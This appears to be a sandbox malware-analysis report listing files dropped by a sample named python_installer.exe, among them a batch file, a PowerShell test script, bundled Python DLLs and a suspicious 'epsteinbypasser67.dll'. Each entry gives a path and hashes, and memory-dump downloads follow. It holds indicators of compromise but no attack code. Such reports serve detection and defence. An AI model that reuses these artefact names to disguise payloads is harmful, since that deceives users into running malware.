SSDEEP 196608:t6U5EcquOgvxACXxK/UfQRLu5G+bmcWmx3E4gxTN+0vCyIHAAwMTp3/7SEv5WCVj:Uhc/OYxqtLeD3PzghvC/e76WCVVzzB
TLSH
T11AE6330ACFA23B3DD06D563A97ABC170D227A241DFD8A56B3DF30C41C90498F577A16A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python_installer.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\python_installer.exe
Size 25.0MB
SHA256 5ee42c4eee1e6b4464bb23722f90b45303f79442df63083f05322f1785f5fdde
MD5 e8dcd502e34932eebcaf1be056d5cbcd
SHA1 33fc26d62919fd473ae837991ddd6613b82d6d20
SHA512 897a14d5ee5cbc6781a0f48beffc27807a4f789d58c4329d899233f615d168a5dcceddf7f8f2d5bb52212ddcf3eba4664590d9f1fdb25bb5201f44899e03b2f7
SSDEEP 393216:fRLH7fooK4d06EQWFC6i3aRGazVuWB319hnImPbhzSfol84dDbyNx9wblIFRjQA:fRO4KhQ65i3OhtbDPbhGapA
TLSH
T19D47333350004177F9F451B6BA188534BD2C7A1427A088ADE3E8BD6D3BB6C935BFB652
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aa4132de6e6aeb4ac9dbcb4c970103b620aea844160f2585314e8a2d18c522e3
MD5 a03b728c18c4a053a4d76a84c0f5165e
SHA1 0481bc8eea551f4db48a23951edb14fc22824c63
SHA512 0a0a635292ac0b9dc27d8c755736d63c32024a01e1a7fc377ad08be4c8ee8a6bc0a8170d095ddfa9f45ef098dbc308455db9d500afee786153042ba12118fcbb
TLSH
T1FE216833F3DD8624C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

519E.bat

Path C:\Users\Admin\AppData\Local\Temp\519C.tmp\519D.tmp\519E.bat
Size 696B
SHA256 4a2e389c27cd851e3e62353fcb013bc7d1383ebc9fdb33d00acca0f07e66aeef
MD5 21a32f3f086019e03dcf4b1f30b96e52
SHA1 e0dc687e93804d0a9dd328002c3c7d56c06ca7c9
SHA512 efc5ab8a3fea0815851a1b89bcf6dc6a30c23f916544ebd17cd9dd87a1e7464da2da5f85bbef0ebdc28a83488a2e9e47c6374a7140d57471bd3df5b14ab3979b
TLSH
T15701FED2D58402169BD94A92F5CD3B40B653FC170EE05C8A30A371306E4C3685AFE984
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xvxkr0fh.iwk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xvxkr0fh.iwk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mock_server_with_client_cert.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3528_910008_aNKQAzHeyWM\mock_server_with_client_cert.dll
Size 4.1MB
SHA256 652cd569be1c66069efee60ab8e779334f61495164c3a2fb7c4e900ddd6b5688
MD5 233b9b9c29be7b87489eba66e486695e
SHA1 f8f73242f961c3e96526ef1ce3faa5967dffc0a3
SHA512 2f18144ec0382902b8b23488ff46dc1e691d68fde7c8dbfcdd5bb35f006cbfb2032675c7ce4ad7a071b558631cc97e358e3e430aaa2fb879da038ae092f0ed26
SSDEEP 49152:5qfRZTs99AT6Q3X4Qyc6+ae4Gc4caM6e0VvYa2VJccUPB3YipHEjad4M45rBoUBE:5hYvSccUGipHEjad4M45rBoUBcg16
TLSH
T1D2165AD176B11EABFD52F2B880CF42209726E23B2B489993F04CC29E3F466D45D7569C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\VCRUNTIME140.dll
Size 95KB
SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
MD5 f34eb034aa4a9735218686590cba2e8b
SHA1 2bc20acdcb201676b77a66fa7ec6b53fa2644713
SHA512 d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af
SSDEEP 1536:ywqHLG4SsAzAvadZw+1Hcx8uIYNUzUoHA4decbK/zJNuw6z5U:ytrfZ+jPYNzoHA4decbK/FNu51U
TLSH
T129A36C5A76A442BBD06BD274C1E34A1AF770B8408B3093CF07B6856A4F67BE05E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\_bz2.pyd
Size 81KB
SHA256 62173a8fadd4bf4dd71ab89ea718754aa31620244372f0c5bbbae102e641a60e
MD5 86d1b2a9070cd7d52124126a357ff067
SHA1 18e30446fe51ced706f62c3544a8c8fdc08de503
SHA512 7db4b7e0c518a02ae901f4b24e3860122acc67e38e73f98f993fe99eb20bb3aa539db1ed40e63d6021861b54f34a5f5a364907ffd7da182adea68bbdd5c2b535
SSDEEP 1536:hXOz78ZqjUyAsIi7W/5+D8W35mjZm35ILCVM7SyfYPxe:pOzwpyAFi7WMgW34jZm35ILCVMZoxe
TLSH
T160838D92B3A458B5F05BA27955B10357E371F90D03A0D3EFB758826B2F03B826D6432E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\_lzma.pyd
Size 154KB
SHA256 60793c8592193cfbd00fd3e5263be4315d650ba4f9e4fda9c45a10642fd998be
MD5 7447efd8d71e8a1929be0fac722b42dc
SHA1 6080c1b84c2dcbf03dcc2d95306615ff5fce49a6
SHA512 c6295d45ed6c4f7534c1a38d47ddc55fea8b9f62bbdc0743e4d22e8ad0484984f8ab077b73e683d0a92d11bf6588a1ae395456cfa57da94bb2a6c4a1b07984de
SSDEEP 3072:j0k3SXjD9aWpAn3rb7SbuDlvNgS4fWqEznfo9mNoFTSlXZ8Ax5ILZ1GIxq:j0kiXjD9v8X7Euk4wYOFTafxn
TLSH
T171F32992A394F0E6F3628C78D6624F57D6F57809031092DA02CC976D2B1FB759E2E327
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\_socket.pyd
Size 77KB
SHA256 e6deb751039cd5424a139708475ce83f9c042d43e650765a716cb4a924b07e4f
MD5 819166054fec07efcd1062f13c2147ee
SHA1 93868ebcd6e013fda9cd96d8065a1d70a66a2a26
SHA512 da3a440c94cb99b8af7d2bc8f8f0631ae9c112bd04badf200edbf7ea0c48d012843b4a9fb9f1e6d3a9674fd3d4eb6f0fa78fd1121fad1f01f3b981028538b666
SSDEEP 1536:ZmtvsXhgzrojAs9/s+S+pGLypbyxk/DDTBVILLwX7SyiPx9:c56OzyAs9/sT+pGLypb+k/XFVILLwX4f
TLSH
T137736B12A69050A9D27380BAC5635F63F770F48057D593CF1264CA6E1F23782AE7EBD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\_ssl.pyd
Size 156KB
SHA256 d2a7999e234e33828888ad455baa6ab101d90323579abc1095b8c42f0f723b6f
MD5 7910fb2af40e81bee211182cffec0a06
SHA1 251482ed44840b3c75426dd8e3280059d2ca06c6
SHA512 bfe6506feb27a592fe9cf1db7d567d0d07f148ef1a2c969f1e4f7f29740c6bb8ccf946131e65fe5aa8ede371686c272b0860bd4c0c223195aaa1a44f59301b27
SSDEEP 3072:OwYiZ+PtocHnVXhLlasuvMETxoEBA+nbUtGnBSonJCNI5ILC7Gax1:FYk+PtocHVxx/uvPCEwhGJ
TLSH
T11BF38D47F28429ABE813E4BDC6634912EBB5F045231187CE45D6C68A0F13746AF7AF63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

epsteinbypasser67.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\epsteinbypasser67.dll
Size 3.9MB
SHA256 0a7543101b8437eaad8f8042b497d045b536eae842aa988f09ce1bfc32057ba4
MD5 2653ae94d062e545f1960056a6cb8074
SHA1 f844cd000c71294e0f9071974248a7c9477799c2
SHA512 e45de7ba5355ea950e157fdc644e23cb2955bd64af9c6c0c8af66415df5c73a5867413162f37ec52f7511bc3c75ed6755252df45bcac9453a031e2cf957be0ce
SSDEEP 49152:sbGL+Ts99AT6Q3X4kyc6+ae4Gc4caM6eRVvYa2VJccUPB3YipHEjad4M45rBoUBO:hBvSccUGipHEjad4M45rBoUBcg16j
TLSH
T1B9164AD276B11EABFD52F2B880CF42209726E23B2B489893F04DC19E3F466D45D7569C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\libcrypto-1_1.dll
Size 3.3MB
SHA256 9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939
MD5 9d7a0c99256c50afd5b0560ba2548930
SHA1 76bd9f13597a46f5283aa35c30b53c21976d0824
SHA512 cb39aa99b9d98c735fdacf1c5ed68a4d09d11f30262b91f6aa48c3f8520eff95e499400d0ce7e280ca7a90ff6d7141d2d893ef0b33a8803a1cadb28ba9a9e3e2
SSDEEP 98304:YP+uemAdn67xfxw6rKsK1CPwDv3uFfJz1CmiX:OZemAYxfxw6HK1CPwDv3uFfJzUmA
TLSH
T1CEF58C5AA3AC0184E9BAC17CC9574727E7B1B45A93B09BCF18B681780F13BD6363DB44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\libssl-1_1.dll
Size 688KB
SHA256 d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd
MD5 bec0f86f9da765e2a02c9237259a7898
SHA1 3caa604c3fff88e71f489977e4293a488fb5671c
SHA512 ffbc4e5ffdb49704e7aa6d74533e5af76bbe5db297713d8e59bd296143fe5f145fbb616b343eed3c48eceaccccc2431630470d8975a4a17c37eafcc12edd19f4
SSDEEP 12288:WhO7/rNKmrouK/POt6h+7ToRLgo479dQwwLOpWW/dQ0TGqwfU2lvz2:2is/POtrzbLp5dQ0TGqcU2lvz2
TLSH
T197E44B95ABB51498D5E6C17C8A534A33E3BBF4141330AFCB06A5893E0F177C92B3A758
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python310.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\python310.dll
Size 4.3MB
SHA256 14b06796f288bc6599e458fb23a944ab0c843e9868058f02a91d4606533505ed
MD5 63a1fa9259a35eaeac04174cecb90048
SHA1 0dc0c91bcd6f69b80dcdd7e4020365dd7853885a
SHA512 896caa053f48b1e4102e0f41a7d13d932a746eea69a894ae564ef5a84ef50890514deca6496e915aae40a500955220dbc1b1016fe0b8bcdde0ad81b2917dea8b
SSDEEP 49152:myrXfGIy+Bqk5c5Ad2nwZT3Q6wsV136cR2DZvbK30xLNZcAgVBvcpYcvl1IDWbH3:Uw5tVBlicWdvoDkHUMF7Ph/qe
TLSH
T102267C26A36401A4D9B79477C523864BCBF1FC442F24D34A41A4BAD92F73BA317EE706
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_3556_351655_LYee3c9FyBE\select.pyd
Size 29KB
SHA256 db85f2f94d4994283e1055057372594538ae11020389d966e45607413851d9e9
MD5 a653f35d05d2f6debc5d34daddd3dfa1
SHA1 1a2ceec28ea44388f412420425665c3781af2435
SHA512 5aede99c3be25b1a962261b183ae7a7fb92cb0cb866065dc9cd7bb5ff6f41cc8813d2cc9de54670a27b3ad07a33b833eaa95a5b46dad7763ca97dfa0c1ce54c9
SSDEEP 768:gUC2hwhVHqOmEVILQG35YiSyvrYPxWEl6:FC2ehVKOmEVILQGp7SyEPxe
TLSH
T1FED2AF47AB506C42D8238572A4D68E16E935B6A14B20C3DF332DC26D1F227C277BB36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python_installer.exe

Path C:\Windows\Temp\{3E110A3C-DC22-4AD1-BAF9-730AA355D464}\.cr\python_installer.exe
Size 859KB
SHA256 43b0d06acf32140019c16aef9c09b4aeb8b79f72d4a50396d79e852549f33f38
MD5 dea93d35c259cb14f02b4e122f6091f0
SHA1 0bcf184d76a61873dd0f2cfccd8e0e7e06c0f826
SHA512 613e363eeeb597b0627fa955701dc32ab55b8df28d502466e5db443b82f4138fcdb218e6029b96140a2b381f9de9f63ae9905795b4b8f34cc31a8fbdc3abceb2
SSDEEP 12288:l5mWukhI2jFMSjysAS9X/GsfTDYrGiUGEHNBr9/4DATvYIU94EeAwG:l5mWpI2jFM5sFzfTpiUGyNcsLlPAwG
TLSH
T12F15AF3365A14072E7F10573BA28D530BE6CAF28175088AEE3D4BE1D7E7449267B7293
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PythonBA.dll

Path C:\Windows\Temp\{93AAC2A0-3AD8-45E4-AA98-047A47B11294}\.ba\PythonBA.dll
Size 675KB
SHA256 cb451d5ae16a17c591cac0ed07fb0e2b92ea5dc3f66df63946608bfa65a86156
MD5 93db33c9d79fa34fe665b61d5cc845eb
SHA1 b91c6c3f68fb5153232187bd2935cae7cea198b4
SHA512 c58ba9844942fbc16e0ccda607d4a5ea43e34840dabe9a00f70325f051af25d103f6cb8329bfe38dba82327aef150d68448d9692b7bebfeb448a83ccb32e88fa
SSDEEP 6144:qL9kuRe45GoKJ6CJr0xY62azL9wTLkKuO9g4v/V8EM4Jug5M/UstkTo/E:IkX4+1azLankMhJug5H0/E
TLSH
T1B3E49E1174C08275EDF620FB46BC763996ADE1B0033499CB1BC85AEBEA205C29F37657
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SideBar.png

Path C:\Windows\Temp\{93AAC2A0-3AD8-45E4-AA98-047A47B11294}\.ba\SideBar.png
Size 50KB
SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
MD5 888eb713a0095756252058c9727e088a
SHA1 c14f69f2bef6bc3e2162b4dd78e9df702d94cdb4
SHA512 7c59f4ada242b19c2299b6789a65a1f34565fed78730c22c904db16a9872fe6a07035c6d46a64ee94501fbcd96de586a8a5303ca22f33da357d455c014820ca0
SSDEEP 1536:/c/aRsg1fYfJt0Bg74nWPMMCNBaeQzxxj8ckBo:UcsgGfP0yCWTAaeyxxjGBo
TLSH
T1F33302E488115E7BCBE33A0615458CEF4EA9215F976C91886971C7CA5842F0CE3FE9D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1968-281-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/1968-280-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/1968-282-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/1968-286-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/1968-296-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-234-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-235-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-233-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-320-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-298-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-232-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2564-285-0x0000000140000000-0x0000000141C6C000-memory.dmp

Download

memory/2616-283-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-179-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-0-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-149-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-287-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-284-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-73-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-163-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-72-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-291-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-75-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-95-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-294-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-80-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-74-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-230-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-2-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2616-1-0x0000000140000000-0x0000000143871000-memory.dmp

Download

memory/2972-165-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/2972-166-0x000000000AF70000-0x000000000B2C2000-memory.dmp

Download

memory/2972-128-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/2972-127-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/2972-129-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/3528-231-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3528-182-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3528-183-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3528-236-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3556-164-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/3556-108-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/3556-110-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/3556-109-0x0000000140000000-0x00000001412CD000-memory.dmp

Download

memory/3568-199-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3568-227-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3568-200-0x0000000140000000-0x0000000141A48000-memory.dmp

Download

memory/3568-228-0x000000000B080000-0x000000000B3D2000-memory.dmp

Download

memory/6004-83-0x000001F8ED7D0000-0x000001F8ED7EE000-memory.dmp

Download

memory/6004-86-0x000001F8EDD30000-0x000001F8EDD4E000-memory.dmp

Download

memory/6004-77-0x000001F8ED710000-0x000001F8ED732000-memory.dmp

Download

memory/6004-85-0x000001F8ED7A0000-0x000001F8ED7AA000-memory.dmp

Download

memory/6004-84-0x000001F8EDA00000-0x000001F8EDAB2000-memory.dmp

Download